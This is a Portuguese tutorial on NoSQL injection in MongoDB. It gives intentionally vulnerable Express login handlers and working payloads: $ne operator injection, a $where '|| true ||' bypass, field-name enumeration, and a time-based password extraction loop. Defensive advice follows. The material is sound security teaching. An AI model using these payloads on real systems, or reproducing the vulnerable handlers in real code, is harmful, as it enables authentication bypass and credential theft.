NoSQL Injection

Introdução

Antigamente, o modelo de banco de dados predominante era o relacional (SQL). Com o tempo, porém, novas demandas por flexibilidade e escalabilidade levaram ao surgimento de alternativas mais modernas: os bancos de dados NoSQL. Diferente do modelo relacional, os bancos NoSQL não seguem um padrão único: há grande variedade entre eles, com diferentes estruturas, linguagens de consulta e comportamentos. No entanto, assim como os bancos relacionais são suscetíveis ao ataque conhecido como SQL Injection, os bancos NoSQL também apresentam vulnerabilidades semelhantes, conhecidas como NoSQL Injection. Neste documento, serão apresentados vários bancos de dados NoSQL, abordando suas estruturas, características e, o mais importante, suas vulnerabilidades.

MongoDB

O que é?

O MongoDB é, atualmente, o sistema de banco de dados NoSQL mais popular. Ele é um banco de dados orientado a documentos, isto é, ele armazena e gerencia dados no formato de documentos Binary JSON (BSON), que são parecidos com o JSON tradicional, mas são codificados diretamente em binário.

No MongoDB, os documentos são as unidades básicas de armazenamento, cada um representando um registro individual — de forma semelhante às linhas em bancos SQL. Esses documentos possuem uma estrutura muito próxima à de objetos JSON. Já as coleções são conjuntos de documentos relacionados. Na prática, as coleções se comportam como arrays de objetos JSON e equivalem às tabelas em bancos SQL. Vejamos um exemplo de uma coleção chamada usuários com vários documentos dentro dela:

[
  {
    "_id": ObjectId("66513a1a5f1c2b001a3cdef1"),
    "nome": "João Silva",
    "idade": 28,
    "email": "joao@gmail.com"
  },
  {
    "_id": ObjectId("66513a1a5f1c2b001a3cdef2"),
    "nome": "Maria Oliveira",
    "idade": 32,
    "telefone": "11999998888",
    "endereco": {
      "rua": "Rua das Flores",
      "cidade": "São Paulo"
    }
  },
  {
    "_id": ObjectId("66513a1a5f1c2b001a3cdef3"),
    "nome": "Carlos Mendes",
    "interesses": ["futebol", "tecnologia", "música"],
    "ativo": true
  }
]

A comunicação entre uma aplicação e o banco de dados MongoDB é realizada por meio de bibliotecas específicas (drivers) desenvolvidas para cada linguagem de programação. Esses drivers implementam uma linguagem chamada MongoDB Query Language(MQL), que permite executar ccomandos no banco de dados. Cada comando feito pela aplicação deve especifícar um tipo de operação (como find, insertOne, update, entre outras), uma coleção alvo e um conjunto de parâmetros estruturados em formato semelhante ao JSON:

db.collection("usuarios").find({ nome: "Ana" })

Esse comando irá retornar todos os elementos da coleção usuarios que se chamam "Ana".

O MQL também oferece uma rica variedade de operadores, incluindo operadores de comparação, lógicos, entre outros. Esses operadores são representados por um símbolo de cifrão ($) seguido pelo nome do operador. Por exemplo:

db.collection("usuarios").find({
  idade: {
    $gte: 18
  }
})

Esse comando irá retornar todos os elementos da coleção usuarios que têm 18 anos ou mais.

NoSQL Operator Injection

Estas são NoSQL injections que inserem operadores em forma de objetos aninhados para modificar o funcionamento da aplicação. Para entender melhor o conceito, considere o exemplo a seguir. Suponha que haja alguma aplicação com o seguinte código javascript no back-end:

app.post('/login', async (req, res) => {
  let {login, password} = req.body; 
  let user = await db.collection("usuarios").findOne({
    login: login,
    password: password
  });

  if (!user) {
    return res.status(400).json({message: "Error!!!"});
  }
  return res.status(200).json({message: "You are logged in!"});
});

Esse trecho de código faz parte de um programa bem simples para login de usuários. Ele se comunica com o cliente do usuário por meio do body de uma POST HTTP request formatado em JSON. No entanto, como não há validação ou sanitização desses campos, o back-end aceita qualquer estrutura JSON válida. Desta forma, um atacante pode realizar a seguinte request:

POST /login HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...

{
    "login": "admin",
    "password": {"$ne": null},
}

O campo password não é uma string simples — ele é um objeto contendo um operador do MongoDB: $ne, que significa "diferente de". Ao receber essa request, a query é interpretada pelo MongoDB como: procure um documento em que o campo login seja igual a 'admin' e o campo password seja diferente de null. Como senhas normalmente não são null, essa consulta retorna o usuário admin, mesmo que a senha enviada seja incorreta. O atacante, assim, consegue burlar o sistema de autenticação.

Outra maneira de fazer operator injection é por meio dos parâmetros de URL em uma GET request. Considere o código javascript back-end abaixo:

app.get('/login', async (req, res) => {
  let { login, password } = req.query;

  let user = await db.collection("usuarios").findOne({
    login: login,
    password: password
  });

  if (!user) {
    return res.status(400).json({ message: "Error!!!" });
  }
  return res.status(200).json({ message: "You are logged in!" });
});

Esse trecho de código faz o mesmo que o anterior, porém os campos de login e password são parâmetros de URL. Deste modo, um atacante pode acessar a URL:

https://app.example.com/login?username=admin&password[$ne]=null

Neste caso, o servidor interpreta o parâmetro password[$ne]=null como password: { "$ne": "null" }. Logo, a query montada pelo servidor será:

{
  "username": "admin",
  "password": {
    "$ne": "null"
  }
}

E novamente, como a senha do usuário admin provavelmente é diferente de "null", o atacante consegue logar como admin sem conhecer a senha correta. Abaixo, está uma tabela com os operadores mais relevantes:

Operator
Significado

$eq

Valores são iguais

$ne

Valores são diferentes

$gt

Valor é maior que outro

$gte

Valor é maior ou igual a outro

$lt

Valor é menor que outro

$lte

Valor é menor ou igual a outro

$in

Valor está dentro de um array

$regex

Permite o uso de expressões regulares

NoSQL Syntax Injection

Estas são NoSQL injections que utilizam operador $where ou a função mapReduce() para executar código Javascript dentro do banco. Vejamos um exemplo:

app.get('/login', async (req, res) => {
  const { login, password } = req.query;

  const user = await db.collection('usuarios').findOne({
    $where: `this.login == '${login}' && this.password == '${password}'`
  });

  if (!user) {
    return res.status(401).json({ message: 'Login failed' });
  }

  res.json({ message: 'Login successful' });
});

Esse é um código para login bem parecido com o anterior, mas com a diferença que ele usa o operador $where para fazer a consulta ao banco. Se um atacante acessar a URL:

https://app.examples.com/login?login=admin' || true || '&password=abc

O objeto JSON de consulta construído pela aplicação será:

{
  "$where": "this.login == 'admin' || true || ' ' && this.password == 'abc'"
}

Isso sempre retorna verdadeiro, então o atacante faz login sem precisar da senha correta. É possível, também, usar o método Object.keys() dentro do operador $where para descobrir nomes de campos de dados. Por exemplo, esse payload:

"$where": "Object.keys(this)[0].match('^.{0}a.*')"

Ele verifica se o primeiro campo do objeto começa com a letra "a". Isso permite descobrir os nomes dos campos letra por letra, para assim conseguir montar o nome completo.

Time Based injection

É possível que algumas aplicações executem queries sem alterar visivelmente o estado da página web. Para estes casos, existe as Time-Based Injection. Elas exploram atrasos nas resposta do servidor para inferir informações do banco de dados. A ideia é inserir uma condição que, se verdadeira, força um atraso na resposta. Por exemplo, considere uma aplicação com código assim:

app.post('/signup', async (req, res) => {
  let { username, password } = req.body;

  let user = await db.collection("usuarios").findOne({
    $where: `this.username == ${username}`   
  });

  if (user == null) { // verifica se o usuário ainda não existe
    await db.collection("usuarios").insertOne({
      username: username,
      password: password
    });
  }

  return res.status(200).json({ message: "Pronto" });
});

Neste caso, o endpoint sempre retorna a mesma resposta ("Pronto"), mesmo que o usuário exista ou não, o que elimina feedback direto ao atacante. Ainda assim, é possível explorar o operador $where por meio do payload:

{
  "login": "admin",
  "password": {
    "$where": "function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}"
  }
}

Esse código verifica se o primeiro caractere da senha do usuário é a letra 'a'. Se for, o servidor entra em um loop que bloqueia a execução por 5 segundos antes de continuar. Caso contrário, a resposta é imediata. Medindo o tempo de resposta do servidor, o atacante consegue verificar a condição (x.password[0]==="a"). Repetindo esse processo para cada posição da senha e testando diferentes caracteres, ele pode reconstruir toda a senha sem jamais ver seu conteúdo diretamente.

Prevenindo Injection

Existem várias formas de prevenir NoSQL injection em bancos MongoDB. A seguir, destacam-se algumas das mais eficazes:

  • Utilize o método de whitelisting, definindo explicitamente quais entradas são permitidas (por exemplo, apenas números ou strings alfanuméricas), em vez de tentar bloquear valores proibidos (blacklisting), que é menos seguro.

  • Escape ou remova caracteres especiais, tais como $ e {}

  • Converta e sanitize os tipos manualmente, por exemplo:

 const login = String(req.query.login);
  • Evite usar $where e mapReduce() com entradas do usuário

  • Utilize bibliotecas especializadas para sanitizar as entradas dos usuários, como o mongo-sanatize

NoSQLMap

O NoSQLMap é uma ferramenta open-source que permite automatizar ataques de NoSQL injection. Atualmente, ele suporta somente o MongoDB e o CouchDB, mas prevê-se que terá suporte também a Redis e Cassandra no futuro. Tanto a ferramenta quanto o tutorial de como usá-la estão neste link.

Desafios CTF

Artigo do PortSwigger: https://portswigger.net/web-security/nosql-injection Artigo do HackTricks: https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html Artigo do Vaadata: https://www.vaadata.com/blog/what-is-nosql-injection-exploitations-and-security-best-practices/ Artigo do Intigriti: https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-nosql-injection-nosqli-vulnerabilities Artigo do Snyk: https://learn.snyk.io/lesson/nosql-injection-attack/ Página do Github do NoSQLMap: https://github.com/codingo/NoSQLMap?tab=readme-ov-file Documentação do MongoDB: https://www.mongodb.com/pt-br/docs/

Atualizado